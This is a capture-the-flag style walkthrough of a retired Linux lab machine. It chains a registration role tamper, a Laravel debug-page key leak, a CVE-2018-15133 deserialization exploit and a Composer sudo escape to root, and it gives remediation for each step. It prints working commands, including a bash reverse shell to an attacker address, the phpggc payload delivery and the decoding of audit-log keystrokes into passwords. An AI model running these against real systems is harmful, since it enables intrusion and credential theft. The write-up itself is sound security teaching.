← all walkthroughs

Academy

Linux· Easy
owned
2026-07-07
time to own
9m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a Laravel-based academy portal running on Apache. By tampering with a hidden role-ID field during registration they obtained administrator access, which surfaced a development-staging virtual host. That staging site had Laravel debug mode enabled, causing any error page to render the full .env file — including the application's HMAC signing key (APP_KEY).

The key was used to sign a PHP deserialization gadget chain (CVE-2018-15133), achieving code execution as the web server user. A second .env file in the production codebase contained a database password reused as the SSH password for a local account, giving me a persistent shell. That account belonged to the 'adm' group, which could read Linux audit logs; the audit daemon had been configured to record TTY keystrokes, and a privileged user's password was stored there in hex-encoded plaintext.

Decoding those records gave access to a second account whose sole sudo entitlement — running Composer as root without a password — was abused via Composer's native scripting hook to execute commands as root, completing the full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"

Attack path — how the box was taken

1ReconService enumeration and virtual-host discovery
Mapped open services and discovered two virtual hosts
A full port scan confirmed SSH on 22, Apache HTTP on 80, and a MySQL X protocol listener on 33060. Browsing port 80 redirected to academy.htb. Virtual-host fuzzing uncovered dev-staging-01.academy.htb, which the application's admin panel later referenced explicitly. The technology stack — Apache, Laravel, PHP, MySQL — was fingerprinted from HTTP response headers and error pages.
Recon_sweep $TARGET returned 22/tcp OpenSSH 8.2p1, 80/tcp Apache 2.4.41, 33060/tcp mysqlx; technology fingerprint: apache, laravel, php.
Exact commands 3
Full port scan with service and script detection.
nmap -sV -sC -T4 -p- --min-rate 5000 -oN nmap_full.txt $TARGET
Fuzz for virtual hosts; confirms dev-staging-01.academy.htb.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.academy.htb' -fs 0
Register both vhosts for local DNS resolution.
echo "$TARGET academy.htb dev-staging-01.academy.htb" | sudo tee -a /etc/hosts
2ExploitationMass Assignment / hidden parameter tampering — insecure server-side role assignment
Bypassed access control by tampering the registration role-ID field
The user-registration form at /register.php included a hidden HTML field 'roleid' defaulting to 0 (student). Intercepting the POST request and setting roleid=1 created an account with full administrator privileges. Logging in and visiting /admin.php confirmed admin access and listed dev-staging-01.academy.htb as a pending internal resource.
Exact commands 3
Register with roleid=1 instead of the default 0.
curl -sS -c cookies.txt -b cookies.txt -X POST http://academy.htb/register.php -d 'uid=$USERNAME&password=[REDACTED: recovered credential]&confirm=[REDACTED: recovered credential]&roleid=1'
Authenticate with the newly created admin account.
curl -sS -c cookies.txt -b cookies.txt -X POST http://academy.htb/login.php -d 'uid=$USERNAME&password=[REDACTED: recovered credential]' -L
Access the admin dashboard; confirms admin role and reveals dev-staging-01.academy.htb.
curl -sS -b cookies.txt http://academy.htb/admin.php
FixRemove the user-controlled role field from the registration formCritical
WeaknessThe registration form exposed a hidden 'roleid' parameter that the server accepted without any server-side validation. Any unauthenticated visitor could create an administrator account by changing a single form field value.
FixRemove the roleid parameter from the registration form and all related server-side handlers. Assign every new registration the lowest-privilege role in code, with no client-supplied override. Role elevation must only be possible through a separate, authenticated administrative action. Audit all form-submitted parameters for server-side enforcement using an allowlist approach.
3ReconSensitive data exposure via Laravel debug mode
Extracted the Laravel APP_KEY from a publicly accessible debug error page
The development-staging vhost had APP_DEBUG=true. Any request to a non-existent route triggered Laravel's Whoops exception handler, which rendered the full server environment — including the contents of .env — to any unauthenticated visitor. The APP_KEY value ([REDACTED: recovered credential]) was visible in cleartext. This key is the sole HMAC secret Laravel uses to sign and authenticate all cookies and session payloads before deserializing them.
Exact commands 1
Trigger the debug error page; search the output for APP_KEY in the rendered .env section.
curl -sS --resolve dev-staging-01.academy.htb:80:$TARGET 'http://dev-staging-01.academy.htb/nonexistent'
FixDisable Laravel debug mode and prevent .env exposure on all internet-facing hostsCritical
WeaknessAPP_DEBUG was set to true on a publicly accessible vhost. Any triggerable error rendered the full application environment — including the .env file contents and the APP_KEY — to unauthenticated visitors via the Laravel Whoops error page.
FixSet APP_DEBUG=false and APP_ENV=production in every internet-facing deployment's .env. Set file permissions to 640 (web-server user only) and add a server-level rule to deny direct HTTP access to .env. Place any development or staging vhosts behind a VPN or IP allowlist, and ensure they never share an APP_KEY with production. Validate these settings as part of the deployment pipeline.
4ExploitationPHP Object Deserialization RCE — CVE-2018-15133
Achieved remote code execution via Laravel deserialization gadget chain (CVE-2018-15133)
Laravel deserializes the value of the X-XSRF-TOKEN header after verifying its HMAC signature against APP_KEY. With the key in hand, I used phpggc (PHP Generic Gadget Chains) to generate a serialized PHP object that executes an arbitrary system command, then signed it with the stolen key. Delivering this as the X-XSRF-TOKEN header caused the server to execute a bash reverse-shell callback, landing a shell as www-data.
Exact commands 3
Open a listener on my machine before sending the payload.
nc -lvnp 4444
Generate a base64-encoded gadget chain; replace the IP/port with your listener address.
php /opt/phpggc/phpggc Laravel/RCE1 system 'bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"' -b
Deliver the signed deserialization payload; the reverse shell connects back as www-data.
curl -sS -X POST --resolve dev-staging-01.academy.htb:80:$TARGET -H 'X-XSRF-TOKEN: <PHPGGC_OUTPUT>' 'http://dev-staging-01.academy.htb/'
FixPatch CVE-2018-15133 and rotate the exposed Laravel APP_KEY immediatelyCritical
WeaknessLaravel used APP_KEY as the sole authenticator of all cookie and session payloads before deserializing them.
FixImmediately regenerate the APP_KEY with 'php artisan key:generate' and redeploy all environments to invalidate all existing sessions. Apply the Laravel security patch for CVE-2018-15133 (upgrade to 5.6.30+ or the equivalent patched release). Audit all code paths where user-controlled data is passed to unserialize() and replace with safer alternatives (json_decode). Treat the APP_KEY as a high-value secret: store it in a secrets manager rather than a plain .env file.
5Post-ExploitationCredential reuse — plaintext application secrets reused as OS account passwords (T1552.001)
Read production .env credentials and obtained an SSH shell as cry0l1t3
From the www-data shell, I read the production application's .env file. It contained a plaintext database password that was also set as the SSH login password for the local OS account cry0l1t3. SSH login as cry0l1t3 provided a stable, interactive shell with access to user.txt.
Exact commands 3
Read the production .env from the www-data reverse shell; note the DB_PASSWORD value.
cat /var/www/html/academy/.env
SSH as cry0l1t3 using the DB_PASSWORD as the password.
ssh cry0l1t3@$TARGET
Capture the user flag: <user.txt>.
cat ~/user.txt
FixStop reusing application secrets as operating-system account passwordsHigh
WeaknessThe database password stored in the production .env file was identical to the SSH login password for the local OS account cry0l1t3. A single file read — possible as soon as the web server was compromised — immediately yielded persistent, interactive access to the system.
FixEnforce a policy that no application secret (database password, API key, token) may match any OS or service account credential. Rotate cry0l1t3's SSH password immediately. Move secrets to a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, or similar) and inject them at runtime rather than storing them in files on disk. Audit all other accounts and services for credential reuse.
6Privilege EscalationCredential access via Linux TTY audit log keystroke capture (T1552.003)
Recovered a plaintext password from TTY audit logs and pivoted to mrb3n
Cry0l1t3 was a member of the 'adm' group, granting read access to /var/log/audit/audit.log. The auditd configuration included a rule that logged every TTY keystroke as a type=TTY record, with the key data hex-encoded in the 'data=' field. Decoding those records revealed the password that mrb3n had previously typed at a terminal. That password worked for 'su mrb3n', granting access to the second user account.
Exact commands 3
Confirm cry0l1t3 is in the adm group.
id
Decode all hex TTY records to recover plaintext keystrokes including mrb3n's password.
grep 'type=TTY' /var/log/audit/audit.log | awk -F'data=' '{print $2}' | xxd -r -p
Switch to mrb3n using the recovered plaintext password ([REDACTED: recovered credential]).
su mrb3n
FixDisable TTY keystroke logging in auditd and tighten log access permissionsHigh
WeaknessThe Linux audit daemon was configured to record every TTY keystroke. Members of the 'adm' group — including the compromised account cry0l1t3 — could read /var/log/audit/audit.log. A privileged user's password was captured there in hex-encoded form and trivially decoded.
FixRemove TTY keystroke capture rules (type=TTY audit rules) from /etc/audit/rules.d/ unless mandated by a specific compliance requirement; if required, restrict /var/log/audit/audit.log to root-read-only (chmod 600, chgrp root) rather than granting the adm group access. Force an immediate password rotation for every account whose credentials appeared in the captured logs. Review all members of the adm group and remove unnecessary membership.
7Privilege EscalationSudo binary abuse — Composer scripts execution as root (T1548.003 / GTFOBins)
Escalated to root by abusing a passwordless sudo rule for the Composer PHP tool
Checking sudo privileges for mrb3n revealed a single NOPASSWD entry: /usr/bin/composer. Composer supports a 'scripts' section in composer.json that executes arbitrary shell commands when package operations are triggered. I created a minimal composer.json with a post-install-cmd script invoking /bin/sh and ran it via sudo, obtaining a root shell. This is equivalent to unconditional root shell access.
Exact commands 3
List mrb3n's sudo privileges; confirms (root) NOPASSWD: /usr/bin/composer.
sudo -l
GTFOBins Composer technique — drops into a root shell via run-script.
TF=$(mktemp -d) && echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' > "$TF/composer.json" && sudo composer --working-dir="$TF" run-script x
Capture the root flag: <root.txt>.
cat /root/root.txt
FixRemove the passwordless sudo rule granting Composer execution as rootCritical
Weaknessmrb3n held a sudoers NOPASSWD entry for /usr/bin/composer. Composer's built-in 'scripts' mechanism executes arbitrary shell commands, making this rule functionally equivalent to unconditional, unauthenticated root shell access for any user who could reach mrb3n's account.
FixRemove the Composer NOPASSWD entry from /etc/sudoers using visudo immediately. Audit all sudoers rules and eliminate NOPASSWD grants for any binary capable of spawning a shell or executing arbitrary code — this includes package managers, interpreters (python, perl, ruby), editors, and scripting tools. If elevated Composer execution is genuinely required for a maintenance task, scope it to a tightly written wrapper script that performs only that one operation and accepts no user-controlled arguments.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp
33060/tcp